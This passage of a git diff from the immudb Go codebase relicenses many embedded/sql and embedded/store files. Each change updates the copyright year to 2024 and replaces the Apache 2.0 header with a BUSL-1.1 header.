+SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/num_operator.go b/embedded/sql/num_operator.go index 69bdb07622..652c9069c3 100644 --- a/embedded/sql/num_operator.go +++ b/embedded/sql/num_operator.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/num_operator_test.go b/embedded/sql/num_operator_test.go index 8f51c71efb..1635b53e02 100644 --- a/embedded/sql/num_operator_test.go +++ b/embedded/sql/num_operator_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/offset_row_reader.go b/embedded/sql/offset_row_reader.go index 39b994eb55..aedf7fdf8d 100644 --- a/embedded/sql/offset_row_reader.go +++ b/embedded/sql/offset_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/offset_row_reader_test.go b/embedded/sql/offset_row_reader_test.go index 0f04582ef3..ea6f9df84d 100644 --- a/embedded/sql/offset_row_reader_test.go +++ b/embedded/sql/offset_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/options.go b/embedded/sql/options.go index 8970864659..b00cbb05d2 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/options_test.go b/embedded/sql/options_test.go index 60098201e7..78e08aa4b1 100644 --- a/embedded/sql/options_test.go +++ b/embedded/sql/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 672eb9ea2a..a2922a8eb0 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index e8f7e1dfe8..cfeaf67526 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/proj_row_reader.go b/embedded/sql/proj_row_reader.go index 79f4ecc066..d2642241e3 100644 --- a/embedded/sql/proj_row_reader.go +++ b/embedded/sql/proj_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 9fdf75991c..c59e1a6f65 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/row_reader_test.go b/embedded/sql/row_reader_test.go index f4f43f92b5..3985959b45 100644 --- a/embedded/sql/row_reader_test.go +++ b/embedded/sql/row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index d6b9677d47..683818aa86 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/sql_tx_options.go b/embedded/sql/sql_tx_options.go index cded59d58b..4142b50ac1 100644 --- a/embedded/sql/sql_tx_options.go +++ b/embedded/sql/sql_tx_options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 98fea43849..ee02cfc23a 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index 0c32acf9d8..2f06ab6fea 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/timestamp.go b/embedded/sql/timestamp.go index 01cf6c0cca..3d59c369b1 100644 --- a/embedded/sql/timestamp.go +++ b/embedded/sql/timestamp.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/timestamp_test.go b/embedded/sql/timestamp_test.go index 8cf679a1f1..c7968307a6 100644 --- a/embedded/sql/timestamp_test.go +++ b/embedded/sql/timestamp_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/type_conversion.go b/embedded/sql/type_conversion.go index 161385080a..6beaa0f988 100644 --- a/embedded/sql/type_conversion.go +++ b/embedded/sql/type_conversion.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/union_row_reader.go b/embedded/sql/union_row_reader.go index 7ed2031591..35af04d49c 100644 --- a/embedded/sql/union_row_reader.go +++ b/embedded/sql/union_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/union_row_reader_test.go b/embedded/sql/union_row_reader_test.go index 8ee4b32c6b..879c3fddc7 100644 --- a/embedded/sql/union_row_reader_test.go +++ b/embedded/sql/union_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/values_row_reader.go b/embedded/sql/values_row_reader.go index 1ef828abbb..3e23df8ccd 100644 --- a/embedded/sql/values_row_reader.go +++ b/embedded/sql/values_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/values_row_reader_test.go b/embedded/sql/values_row_reader_test.go index f2be894ad6..176b8cfb01 100644 --- a/embedded/sql/values_row_reader_test.go +++ b/embedded/sql/values_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 081645202d..0903a13717 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 48e56d54e0..3814cd56ea 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 00e799c3d6..178869f373 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/indexer_test.go b/embedded/store/indexer_test.go index b88781c863..c0bb302a43 100644 --- a/embedded/store/indexer_test.go +++ b/embedded/store/indexer_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index c38b0db1f8..2e31a44fb7 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/key_reader_test.go b/embedded/store/key_reader_test.go index 1908104326..2365001d98 100644 --- a/embedded/store/key_reader_test.go +++ b/embedded/store/key_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/kv_metadata.go b/embedded/store/kv_metadata.go index 9255830b21..83dd10baa1 100644 --- a/embedded/store/kv_metadata.go +++ b/embedded/store/kv_metadata.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/kv_metadata_test.go b/embedded/store/kv_metadata_test.go index 5c1a57e77d..d713220497 100644 --- a/embedded/store/kv_metadata_test.go +++ b/embedded/store/kv_metadata_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/metadata.go b/embedded/store/metadata.go index 9b0f97f1f7..62fef28f09 100644 --- a/embedded/store/metadata.go +++ b/embedded/store/metadata.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 6b6ce47adf..2ec7205708 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 07717f3b2c..bfaa2597a8 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/ongoing_tx_options.go b/embedded/store/ongoing_tx_options.go index 74c3240d22..6e3967c527 100644 --- a/embedded/store/ongoing_tx_options.go +++ b/embedded/store/ongoing_tx_options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/ongoing_tx_test.go b/embedded/store/ongoing_tx_test.go index 6be884e479..aca259259c 100644 --- a/embedded/store/ongoing_tx_test.go +++ b/embedded/store/ongoing_tx_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/options.go b/embedded/store/options.go index c6f5dad974..fe4027f466 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/options_test.go b/embedded/store/options_test.go index e906de3b15..8449f1829e 100644 --- a/embedded/store/options_test.go +++ b/embedded/store/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/precommit_buffer.go b/embedded/store/precommit_buffer.go index 8e97f9c438..ea036b6e29 100644 --- a/embedded/store/precommit_buffer.go +++ b/embedded/store/precommit_buffer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/precommit_buffer_test.go b/embedded/store/precommit_buffer_test.go index 8d0dd0ba85..db40654abd 100644 --- a/embedded/store/precommit_buffer_test.go +++ b/embedded/store/precommit_buffer_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/preconditions.go b/embedded/store/preconditions.go index 42de4f4031..e7c59d3230 100644 --- a/embedded/store/preconditions.go +++ b/embedded/store/preconditions.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/tx.go b/embedded/store/tx.go index a7a69532d1..6323b2c775 100644 --- a/embedded/store/tx.go +++ b/embedded/store/tx.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 8e7be69b47..0f21ec9b4a 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/tx_metadata_test.go b/embedded/store/tx_metadata_test.go index 77b4be2683..3ddf4c5822 100644 --- a/embedded/store/tx_metadata_test.go +++ b/embedded/store/tx_metadata_test.go @@ -1,9 +1,12 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +Copyright 2024 Codenotary Inc. All rights reserved. + +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + + https://mariadb.com/bsl11/ + Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. diff --git a/embedded/store/tx_reader.go b/embedded/store/tx_reader.go index a66e2752c9..9dd2cf4de9 100644 --- a/embedded/store/tx_reader.go +++ b/embedded/store/tx_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/tx_reader_test.go b/embedded/store/tx_reader_test.go index bbb113e9ca..6cfd5fa114 100644 --- a/embedded/store/tx_reader_test.go +++ b/embedded/store/tx_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/tx_test.go b/embedded/store/tx_test.go index c908c1740f..b193007734 100644 --- a/embedded/store/tx_test.go +++ b/embedded/store/tx_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/store/txpool.go b/embedded/store/txpool.go index c2d9bf1459..f4aa95f5f7 100644 --- a/embedded/store/txpool.go +++ b/embedded/store/txpool.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - 